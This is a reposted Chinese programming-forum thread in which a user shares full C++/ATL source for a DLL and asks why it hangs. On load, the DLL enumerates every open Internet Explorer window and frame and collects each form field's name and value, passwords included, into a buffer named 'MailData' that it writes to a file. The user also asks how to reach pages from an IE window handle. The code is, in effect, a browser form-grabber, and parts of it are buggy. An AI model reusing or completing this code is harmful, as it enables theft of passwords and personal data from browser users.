CSDN博客

img skyremember

关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。

发表于2008/10/3 11:20:00  780人阅读

 关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。
楼主Gdlian(古德里安)2006-03-20 11:04:55 在 VC/MFC / 基础类 提问

主要代码如下:  
  代码应该没有什么问题的,大部分代码是从EXE代码中COPY的,现在我想把这份代码在DLL内实现  
  编译没有任何问题,但是当我加载DLL实现我想要的功能(将枚举的表单内容写入E盘test文本中)  
  却无法实现,我发现当我在装载该DLL的时候,  
  在   HRESULT   hr   =   spShellWin.CoCreateInstance(   CLSID_ShellWindows   );  
  这个位置似乎引起了死循环。没有返回。以后的代码没有统统得不到执行  
  不知道哪里出个问题,希望大哥们帮帮我  
  //////////////////////////////////////////////////////////////////////////  
  //代码如下:  
  //   DllEnum.cpp   :   Defines   the   entry   point   for   the   DLL   application.  
  //  
   
  #include   "stdafx.h"  
  ////////////////////////////////////////////////////////////////////////////////////////////////  
  #include   "EnumFormVal.h"  
  #include   <atlbase.h>  
  #include   <ExDisp.h>  
  CComModule   _Module; //   由于要使用   CComDispatchDriver   ATL的智能指针,  
  //   所以声明它是必须的  
   
  #include   <mshtml.h> //   所有   IHTMLxxxx   的接口声明  
  #include   <atlcom.h>  
   
  #ifdef   _DEBUG  
  #define   new   DEBUG_NEW  
  #undef   THIS_FILE  
  static   char   THIS_FILE[]   =   __FILE__;  
  #endif  
   
  /////////////////////////////////////////////////////////////////////////////  
  /////////////////////////////////////////////////////////////  
  //OWN   definition  
  HINSTANCE   hInst;  
  HANDLE   test1;  
  DWORD   num;  
  char*   MailData;  
  int   useful(char*   li);  
  char   temp[200];  
  //END  
  //////////////////////////////////////////////////////////////  
  //   The   one   and   only   application   object  
   
  //using   namespace   std;  
   
  void   EnumIE(   void   ); //枚举浏览器函数  
  void   EnumFrame(   IHTMLDocument2   *   pIHTMLDocument2   ); //枚举子框架函数  
  void   EnumForm   (   IHTMLDocument2   *   pIHTMLDocument2   ); //枚举表单函数  
   
   
  void   EnumIE(   void   )  
  {  
  useful("开始扫描系统中正在运行的浏览器实例")   ;  
           
  CComPtr<   IShellWindows   >   spShellWin;  
   
  HRESULT   hr   =   spShellWin.CoCreateInstance(   CLSID_ShellWindows   );  
   
  if   (   FAILED   (   hr   )   )  
  {  
  useful("获取   IShellWindows   接口错误")   ;  
  return;  
  }  
   
  long   nCount   =   0; //   取得浏览器实例个数(Explorer   和   IExplorer)  
  spShellWin->get_Count(   &nCount   );  
  if(   0   ==   nCount   )  
  {  
  useful("没有在运行着的浏览器");  
  return;  
  }  
   
  for(int   i=0;   i<nCount;   i++)  
  {  
  CComPtr<   IDispatch   >   spDispIE;  
  hr=spShellWin->Item(CComVariant(   (long)i   ),   &spDispIE   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IWebBrowser2   >   spBrowser   =   spDispIE;  
  if   (   !spBrowser   ) continue;  
   
  CComPtr   <   IDispatch   >   spDispDoc;  
  hr   =   spBrowser->get_Document(   &spDispDoc   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLDocument2   >   spDocument2   =   spDispDoc;  
  if   (   !spDocument2   ) continue;  
   
  //   程序运行到此,已经找到了   IHTMLDocument2   的接口指针  
   
    //删除下行语句的注释,把浏览器的背景改变看看  
    spDocument2->put_bgColor(   CComVariant(   "yellow"   )   );  
   
  EnumForm(   spDocument2   ); //枚举所有的表单  
  }  
  }  
   
  void   EnumFrame(   IHTMLDocument2   *   pIHTMLDocument2   )  
  {  
  if   (   !pIHTMLDocument2   ) return;  
   
  HRESULT   hr;  
   
  CComPtr<   IHTMLFramesCollection2   >   spFramesCollection2;  
  pIHTMLDocument2->get_frames(   &spFramesCollection2   ); //取得框架frame的集合  
   
  long   nFrameCount=0; //取得子框架个数  
  hr   =   spFramesCollection2->get_length(   &nFrameCount   );  
  if   (   FAILED   (   hr   )   ||   0   ==   nFrameCount   ) return;  
   
  for(long   i=0;   i<nFrameCount;   i++)  
  {  
  CComVariant   vDispWin2; //取得子框架的自动化接口  
  hr   =   spFramesCollection2->item(   &CComVariant(i),   &vDispWin2   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLWindow2   >   spWin2   =   vDispWin2.pdispVal;  
  if(   !spWin2   ) continue; //取得子框架的   IHTMLWindow2   接口  
   
  CComPtr   <   IHTMLDocument2   >   spDoc2;  
  spWin2->get_document(   &spDoc2   ); //取得字框架的   IHTMLDocument2   接口  
   
  EnumForm(   spDoc2   ); //递归枚举当前子框架   IHTMLDocument2   上的表单form  
  }  
  }  
   
  void   EnumForm(   IHTMLDocument2   *   pIHTMLDocument2   )  
  {  
  if(   !pIHTMLDocument2   ) return;  
   
  EnumFrame(   pIHTMLDocument2   ); //递归枚举当前   IHTMLDocument2   上的子框架fram  
   
  HRESULT   hr;  
  CComBSTR   bstrTitle;  
  pIHTMLDocument2->get_title(   &bstrTitle   ); //取得文档标题  
   
  USES_CONVERSION;  
  useful("====================");  
  strcpy(temp,"开始枚举“");  
  strcat(temp,OLE2CT(   bstrTitle   ));  
          strcat(temp,"”的表单/n");  
  useful(temp);  
  useful("====================");  
  //cout   <<   _T("开始枚举“")   <<   OLE2CT(   bstrTitle   )   <<   _T("”的表单")   <<   endl;  
  //cout   <<   _T("====================")   <<   endl;  
   
  CComQIPtr<   IHTMLElementCollection   >   spElementCollection;  
  hr   =   pIHTMLDocument2->get_forms(   &spElementCollection   ); //取得表单集合  
  if   (   FAILED(   hr   )   )  
  {  
  useful("获取表单的集合   IHTMLElementCollection   错误")   ;  
  return;  
  }  
   
  long   nFormCount=0; //取得表单数目  
  hr   =   spElementCollection->get_length(   &nFormCount   );  
  if   (   FAILED(   hr   )   )  
  {  
  useful("获取表单数目错误");  
  return;  
  }  
   
  for(long   i=0;   i<nFormCount;   i++)  
  {  
  IDispatch   *pDisp   =   NULL; //取得第   i   项表单  
  hr   =   spElementCollection->item(   CComVariant(   i   ),   CComVariant(),   &pDisp   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLFormElement   >   spFormElement   =   pDisp;  
  pDisp->Release();  
   
  long   nElemCount=0; //取得表单中   域   的数目  
  hr   =   spFormElement->get_length(   &nElemCount   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  for(long   j=0;   j<nElemCount;   j++)  
  {  
  CComDispatchDriver   spInputElement; //取得第   j   项表单域  
  hr   =   spFormElement->item(   CComVariant(   j   ),   CComVariant(),   &spInputElement   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  CComVariant   vName,vVal,vType; //取得表单域的   名,值,类型  
  hr   =   spInputElement.GetPropertyByName(   L"name",   &vName   );  
  if(   FAILED(   hr   )   ) continue;  
  hr   =   spInputElement.GetPropertyByName(   L"value",   &vVal   );  
  if(   FAILED(   hr   )   ) continue;  
  hr   =   spInputElement.GetPropertyByName(   L"type",   &vType   );  
  if(   FAILED(   hr   )   ) continue;  
   
  LPCTSTR   lpName   =   vName.bstrVal?  
  OLE2CT(   vName.bstrVal   )   :   _T("NULL"); //未知域名  
  LPCTSTR   lpVal     =   vVal.bstrVal?  
  OLE2CT(   vVal.bstrVal     )   :   _T("NULL"); //空值,未输入  
  LPCTSTR   lpType   =   vType.bstrVal?  
  OLE2CT(   vType.bstrVal   )   :   _T("NULL"); //未知类型  
   
  //cout   <<   _T("[")   <<   lpType   <<   _T("]   ");  
   
  strcat(MailData,"[");  
  strcat(MailData,lpType);  
  strcat(MailData,"]");  
  //cout   <<   lpName   <<   _T("   =   ")   <<   lpVal   <<   endl;  
  strcat(MailData,"[");  
          strcat(MailData,lpName);  
  strcat(MailData,"]");  
  strcat(MailData,"=");  
  strcat(MailData,lpVal);  
  strcat(MailData,"/n");  
  }  
  //想提交这个表单吗?删除下面语句的注释吧  
  //pForm->submit();  
  }  
  }  
  ////////////////////////////////////////////////////////////////////////////////////////////////  
  BOOL   APIENTRY   DllMain(   HANDLE   hModule,   DWORD     reason,   LPVOID   lpReserved)  
  {  
  hInst   =   (HINSTANCE)hModule;  
  if(reason   ==   DLL_PROCESS_ATTACH)  
  {  
   
  MailData   =   (char*)VirtualAlloc(NULL,1024*100,MEM_TOP_DOWN|MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);  
  test1   =     CreateFile(  
  "e://test.txt",  
  GENERIC_READ|GENERIC_WRITE,  
  FILE_SHARE_READ,  
  NULL,  
  CREATE_ALWAYS,  
  FILE_ATTRIBUTE_NORMAL,  
  NULL);  
   
   
  ::CoInitialize(NULL); //初始化   COM   公寓  
   
  EnumIE(); //枚举浏览器  
   
  ::CoUninitialize(); //释放   COM   公寓  
   
  WriteFile(  
  test1,  
  MailData,  
  strlen(MailData),  
  &num,  
  NULL);  
  CloseHandle(test1);  
   
   
   
  }  
   
  return   true;  
  }  
   
  ////////////////////////////////////////////////////////////////////  
  //OWN   definition  
  int   useful(char*   li)  
  {  
  strcat(MailData,li);  
  strcat(MailData,"/r");  
   
  /*WriteFile(  
  test1,  
  MailData,  
  strlen(MailData),  
  &num,  
  NULL);*/  
  return   1;  
  }  
  //END  
   
  ///////////////////////////////////////////////////////////////////  
  ///////////////////////////////////////////////////////////////////////////////////////////////  
  解决问题的话分不是问题。另外如果能帮我把这份代码的获取IHTMLDocument2接口部分改成  
  从IE的窗体句柄获取就更好了。  
  顶者有分,我不吝惜分的! 问题点数:100、回复次数:4Top

1 楼laiyiling(陌生人[MVP])回复于 2006-03-20 11:12:18 得分 0

How   To   Get   IHTMLDocument2   from   a   HWND  
  http://support.microsoft.com/kb/249232/Top

2 楼Gdlian(古德里安)回复于 2006-03-20 18:58:04 得分 0

谢谢楼上   5颗星啊....Top

3 楼Gdlian(古德里安)回复于 2006-03-22 14:11:44 得分 0

UP   UP   UPTop

4 楼Gdlian(古德里安)回复于 2006-03-22 20:06:57 得分 0

100分太少了吗   SHIT

0 0

相关博文

我的热门文章

img
取 消
img